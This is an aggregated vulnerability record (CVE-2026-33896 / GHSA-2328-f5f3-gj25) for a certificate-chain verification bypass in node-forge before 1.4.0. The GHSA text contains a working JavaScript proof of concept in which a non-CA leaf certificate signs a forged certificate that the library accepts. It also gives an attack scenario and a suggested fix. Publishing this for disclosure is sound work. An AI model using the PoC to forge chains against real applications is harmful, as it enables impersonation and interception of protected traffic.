{"id":"CVE-2026-33896","aliases":["CVE-2026-33896","GHSA-2328-f5f3-gj25"],"related":[],"kind":"vulnerability","state":"published","title":"Forge has a basicConstraints bypass in its certificate chain verification (RFC 5280 violation)","summary":"Forge (also called `node-forge`) is a native implementation of Transport Layer Security in JavaScript. Prior to version 1.4.0, `pki.verifyCertificateChain()` does not enforce RFC 5280 basicConstraints requirements when an intermediate certificate lacks both the `basicConstraints` and `keyUsage` extensions. This allows any leaf certificate (without these extensions) to act as a CA and sign other certificates, which node-forge will accept as valid. Version 1.4.0 patches the issue.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Forge (also called `node-forge`) is a native implementation of Transport Layer Security in JavaScript. Prior to version 1.4.0, `pki.verifyCertificateChain()` does not enforce RFC 5280 basicConstraints requirements when an intermediate certificate lacks both the `basicConstraints` and `keyUsage` extensions. This allows any leaf certificate (without these extensions) to act as a CA and sign other certificates, which node-forge will accept as valid. Version 1.4.0 patches the issue.","source":"cvelist"},{"lang":"en","text":"## Summary\n\n`pki.verifyCertificateChain()` does not enforce RFC 5280 basicConstraints requirements when an intermediate certificate lacks both the `basicConstraints` and `keyUsage` extensions. This allows any leaf certificate (without these extensions) to act as a CA and sign other certificates, which node-forge will accept as valid.\n\n## Technical Details\n\nIn `lib/x509.js`, the `verifyCertificateChain()` function (around lines 3147-3199) has two conditional checks for CA authorization:\n\n1. The `keyUsage` check (which includes a sub-check requiring `basicConstraints` to be present) is gated on `keyUsageExt !== null`\n2. The `basicConstraints.cA` check is gated on `bcExt !== null`\n\nWhen a certificate has **neither** extension, both checks are skipped entirely. The certificate passes all CA validation and is accepted as a valid intermediate CA.\n\n**RFC 5280 Section 6.1.4 step (k) requires:**\n> \"If certificate i is a version 3 certificate, verify that the basicConstraints extension is present and that cA is set to TRUE.\"\n\nThe absence of `basicConstraints` should result in rejection, not acceptance.\n\n## Proof of Concept\n\n```javascript\nconst forge = require('node-forge');\nconst pki = forge.pki;\n\nfunction generateKeyPair() {\n  return pki.rsa.generateKeyPair({ bits: 2048, e: 0x10001 });\n}\n\nconsole.log('=== node-forge basicConstraints Bypass PoC ===\\n');\n\n// 1. Create a legitimate Root CA (self-signed, with basicConstraints cA=true)\nconst rootKeys = generateKeyPair();\nconst rootCert = pki.createCertificate();\nrootCert.publicKey = rootKeys.publicKey;\nrootCert.serialNumber = '01';\nrootCert.validity.notBefore = new Date();\nrootCert.validity.notAfter = new Date();\nrootCert.validity.notAfter.setFullYear(rootCert.validity.notBefore.getFullYear() + 10);\n\nconst rootAttrs = [\n  { name: 'commonName', value: 'Legitimate Root CA' },\n  { name: 'organizationName', value: 'PoC Security Test' }\n];\nrootCert.setSubject(rootAttrs);\nrootCert.setIssuer(rootAttrs);\nrootCert.setExtensions([\n  { name: 'basicConstraints', cA: true, critical: true },\n  { name: 'keyUsage', keyCertSign: true, cRLSign: true, critical: true }\n]);\nrootCert.sign(rootKeys.privateKey, forge.md.sha256.create());\n\n// 2. Create a \"leaf\" certificate signed by root — NO basicConstraints, NO keyUsage\n//    This certificate should NOT be allowed to sign other certificates\nconst leafKeys = generateKeyPair();\nconst leafCert = pki.createCertificate();\nleafCert.publicKey = leafKeys.publicKey;\nleafCert.serialNumber = '02';\nleafCert.validity.notBefore = new Date();\nleafCert.validity.notAfter = new Date();\nleafCert.validity.notAfter.setFullYear(leafCert.validity.notBefore.getFullYear() + 5);\n\nconst leafAttrs = [\n  { name: 'commonName', value: 'Non-CA Leaf Certificate' },\n  { name: 'organizationName', value: 'PoC Security Test' }\n];\nleafCert.setSubject(leafAttrs);\nleafCert.setIssuer(rootAttrs);\n// NO basicConstraints extension — NO keyUsage extension\nleafCert.sign(rootKeys.privateKey, forge.md.sha256.create());\n\n// 3. Create a \"victim\" certificate signed by the leaf\n//    This simulates an attacker using a non-CA cert to forge certificates\nconst victimKeys = generateKeyPair();\nconst victimCert = pki.createCertificate();\nvictimCert.publicKey = victimKeys.publicKey;\nvictimCert.serialNumber = '03';\nvictimCert.validity.notBefore = new Date();\nvictimCert.validity.notAfter = new Date();\nvictimCert.validity.notAfter.setFullYear(victimCert.validity.notBefore.getFullYear() + 1);\n\nconst victimAttrs = [\n  { name: 'commonName', value: 'victim.example.com' },\n  { name: 'organizationName', value: 'Victim Corp' }\n];\nvictimCert.setSubject(victimAttrs);\nvictimCert.setIssuer(leafAttrs);\nvictimCert.sign(leafKeys.privateKey, forge.md.sha256.create());\n\n// 4. Verify the chain: root -> leaf -> victim\nconst caStore = pki.createCaStore([rootCert]);\n\ntry {\n  const result = pki.verifyCertificateChain(caStore, [victimCert, leafCert]);\n  console.log('[VULNERABLE] Chain verification SUCCEEDED: ' + result);\n  console.log('  node-forge accepted a non-CA certificate as an intermediate CA!');\n  console.log('  This violates RFC 5280 Section 6.1.4.');\n} catch (e) {\n  console.log('[SECURE] Chain verification FAILED (expected): ' + e.message);\n}\n```\n\n**Results:**\n- Certificate with NO extensions: **ACCEPTED as CA** (vulnerable — violates RFC 5280)\n- Certificate with `basicConstraints.cA=false`: correctly rejected\n- Certificate with `keyUsage` (no `keyCertSign`): correctly rejected\n- Proper intermediate CA (control): correctly accepted\n\n## Attack Scenario\n\nAn attacker who obtains any valid leaf certificate (e.g., a regular TLS certificate for `attacker.com`) that lacks `basicConstraints` and `keyUsage` extensions can use it to sign certificates for ANY domain. Any application using node-forge's `verifyCertificateChain()` will accept the forged chain.\n\nThis affects applications using node-forge for:\n- Custom PKI / certificate pinning implementations\n- S/MIME / PKCS#7 signature verification\n- IoT device certificate validation\n- Any non-native-TLS certificate chain verification\n\n## CVE Precedent\n\nThis is the same vulnerability class as:\n- **CVE-2014-0092** (GnuTLS) — certificate verification bypass\n- **CVE-2015-1793** (OpenSSL) — alternative chain verification bypass\n- **CVE-2020-0601** (Windows CryptoAPI) — crafted certificate acceptance\n\n## Not a Duplicate\n\nThis is distinct from:\n- CVE-2025-12816 (ASN.1 parser desynchronization — different code path)\n- CVE-2025-66030/66031 (DoS and integer overflow — different issue class)\n- GitHub issue #1049 (null subject/issuer — different malformation)\n\n## Suggested Fix\n\nAdd an explicit check for absent `basicConstraints` on non-leaf certificates:\n\n```javascript\n// After the keyUsage check block, BEFORE the cA check:\nif(error === null && bcExt === null) {\n  error = {\n    message: 'Certificate is missing basicConstraints extension and cannot be used as a CA.',\n    error: pki.certificateError.bad_certificate\n  };\n}\n```\n\n## Disclosure Timeline\n\n- 2026-03-10: Report submitted via GitHub Security Advisory\n- 2026-06-08: 90-day coordinated disclosure deadline\n\n## Credits\n\nDiscovered and reported by Doruk Tan Ozturk ([@peaktwilight](https://github.com/peaktwilight)) — [doruk.ch](https://doruk.ch)","format":"markdown","source":"ghsa"},{"lang":"es","text":"Forge (también conocido como ’node-forge’) es una implementación nativa de Transport Layer Security en JavaScript. Antes de la versión 1.4.0, ’pki.verifyCertificateChain()’ no aplica los requisitos de basicConstraints de RFC 5280 cuando un certificado intermedio carece de las extensiones ’basicConstraints’ y ’keyUsage’. Esto permite que cualquier certificado hoja (sin estas extensiones) actúe como una CA y firme otros certificados, lo que node-forge aceptará como válidos. La versión 1.4.0 corrige el problema.","source":"nvd"}],"published":"2026-03-26T22:05:43.000Z","modified":"2026-10-26T21:10:00.170Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","score":7.4,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","score":7.4,"rating":"HIGH"},{"scorer":"redhat-SADP","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","score":7.4,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","score":7.4,"rating":"HIGH"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","score":9.1,"rating":"CRITICAL"}],"cwes":["CWE-295"],"affected":[{"ranges":[{"version":"< 1.4.0","status":"affected"}],"vendor":"digitalbazaar","product":"forge","source":"cvelist"},{"ranges":[{"type":"rpm","introduced":"0:2.5.20260422-3.el8ap","fixed":"*","status":"unaffected"}],"vendor":"Red Hat","product":"Red Hat Ansible Automation Platform 2.5 for RHEL 8","package":"automation-gateway","cpe":"cpe:/a:redhat:ansible_automation_platform:2.5::el8","source":"cvelist"},{"ranges":[{"type":"rpm","introduced":"0:2.5.20260422-3.el9ap","fixed":"*","status":"unaffected"}],"vendor":"Red Hat","product":"Red Hat Ansible Automation Platform 2.5 for RHEL 9","package":"automation-gateway","cpe":"cpe:/a:redhat:ansible_automation_platform:2.5::el9","source":"cvelist"},{"ranges":[{"type":"rpm","introduced":"1782839279","fixed":"*","status":"unaffected"}],"vendor":"Red Hat","product":"Cluster Observability Operator 1.5.0","package":"cluster-observability-operator/logging-console-plugin-pf4-rhel9","cpe":"cpe:/a:redhat:cluster_observability_operator:1.5::el9","source":"cvelist"},{"ranges":[{"type":"rpm","introduced":"1776784286","fixed":"*","status":"unaffected"}],"vendor":"Red Hat","product":"Red Hat Developer Hub 1.8","package":"rhdh/rhdh-hub-rhel9","cpe":"cpe:/a:redhat:rhdh:1.8::el9","source":"cvelist"},{"ranges":[{"type":"rpm","introduced":"1777903262","fixed":"*","status":"unaffected"}],"vendor":"Red Hat","product":"Red Hat Developer Hub 1.9","package":"rhdh/rhdh-hub-rhel9","cpe":"cpe:/a:redhat:rhdh:1.9::el9","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Cryostat 4","package":"io.cryostat-cryostat","cpe":"cpe:/a:redhat:cryostat:4","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Logging Subsystem for Red Hat OpenShift","package":"openshift-logging/elasticsearch6-rhel9","cpe":"cpe:/a:redhat:logging:5","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Logging Subsystem for Red Hat OpenShift","package":"openshift-logging/elasticsearch-operator-bundle","cpe":"cpe:/a:redhat:logging:5","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Logging Subsystem for Red Hat OpenShift","package":"openshift-logging/elasticsearch-proxy-rhel9","cpe":"cpe:/a:redhat:logging:5","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Logging Subsystem for Red Hat OpenShift","package":"openshift-logging/elasticsearch-rhel9-operator","cpe":"cpe:/a:redhat:logging:5","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Logging Subsystem for Red Hat OpenShift","package":"openshift-logging/kibana6-rhel8","cpe":"cpe:/a:redhat:logging:5","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Logging Subsystem for Red Hat OpenShift","package":"openshift-logging/logging-curator5-rhel9","cpe":"cpe:/a:redhat:logging:5","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat Ansible Automation Platform 2","package":"automation-eda-controller","cpe":"cpe:/a:redhat:ansible_automation_platform:2","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat Ansible Automation Platform 2","package":"automation-platform-ui","cpe":"cpe:/a:redhat:ansible_automation_platform:2","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat build of Apache Camel - HawtIO 4","package":"io.hawt-project","cpe":"cpe:/a:redhat:apache_camel_hawtio:4","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat build of Apicurio Registry 2","package":"io.apicurio-apicurio-registry","cpe":"cpe:/a:redhat:service_registry:2","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat Build of Podman Desktop","package":"podman-desktop-macos-1-0","cpe":"cpe:/a:redhat:podman_desktop:1","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat Build of Podman Desktop","package":"podman-desktop-windows-1-0","cpe":"cpe:/a:redhat:podman_desktop:1","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat Data Grid 8","package":"org.infinispan-infinispan-console","cpe":"cpe:/a:redhat:jboss_data_grid:8","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat Enterprise Linux 10","package":"grafana","cpe":"cpe:/o:redhat:enterprise_linux:10","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat Enterprise Linux 8","package":"pcs","cpe":"cpe:/o:redhat:enterprise_linux:8","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat Enterprise Linux 9","package":"grafana","cpe":"cpe:/o:redhat:enterprise_linux:9","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat Enterprise Linux 9","package":"pcs","cpe":"cpe:/o:redhat:enterprise_linux:9","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat Fuse 7","package":"io.apicurio-apicurito","cpe":"cpe:/a:redhat:jboss_fuse:7","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat Fuse 7","package":"io.syndesis-syndesis-parent","cpe":"cpe:/a:redhat:jboss_fuse:7","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat Process Automation 7","package":"org.uberfire-uberfire-parent","cpe":"cpe:/a:redhat:jboss_enterprise_bpms_platform:7","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat Quay 3","package":"quay/quay-rhel8","cpe":"cpe:/a:redhat:quay:3","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"1.4.0"}],"ecosystem":"npm","package":"node-forge","purl":"pkg:npm/node-forge","source":"ghsa"},{"ranges":[{"status":"affected","lastAffected":"1.3.3"}],"vendor":"digitalbazaar","product":"forge","cpe":"cpe:2.3:a:digitalbazaar:forge:*:*:*:*:*:node.js:*:*","source":"nvd"}],"references":[{"url":"https://github.com/digitalbazaar/forge/security/advisories/GHSA-2328-f5f3-gj25","tags":["exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/digitalbazaar/forge/commit/2e492832fb25227e6b647cbe1ac981c123171e90","tags":["patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-33896","tags":["vdb-entry","x-refsource-redhat"],"sources":["cvelist","nvd"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2452458","tags":["issue-tracking","x-refsource-redhat"],"sources":["cvelist","nvd"]},{"url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-33896.json","tags":["x-sadp-csaf-vex"],"sources":["cvelist","nvd"]},{"url":"https://access.redhat.com/errata/RHSA-2026:24761","tags":["vendor-advisory","x-refsource-redhat"],"sources":["cvelist","nvd"]},{"url":"https://access.redhat.com/errata/RHSA-2026:34342","tags":["vendor-advisory","x-refsource-redhat"],"sources":["cvelist","nvd"]},{"url":"https://access.redhat.com/errata/RHSA-2026:9742","tags":["vendor-advisory","x-refsource-redhat"],"sources":["cvelist","nvd"]},{"url":"https://access.redhat.com/errata/RHSA-2026:13826","tags":["vendor-advisory","x-refsource-redhat"],"sources":["cvelist","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33896","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/digitalbazaar/forge","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"total","date":"2026-03-30T18:53:46.442Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-33896","url":"https://www.cve.org/CVERecord?id=CVE-2026-33896","licence":"CVE Terms of Use","modified":"2026-09-04T12:04:50.960Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-2328-f5f3-gj25","url":"https://github.com/advisories/GHSA-2328-f5f3-gj25","licence":"CC-BY-4.0","modified":"2026-09-10T03:50:36.185Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-33896","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33896","licence":"Public domain","modified":"2026-10-26T21:10:00.170Z"}],"updatedAt":"2026-11-25T22:59:17.444Z","epss":{"score":0.00459,"percentile":0.41539,"date":"2026-12-01T12:00:22.000Z"}}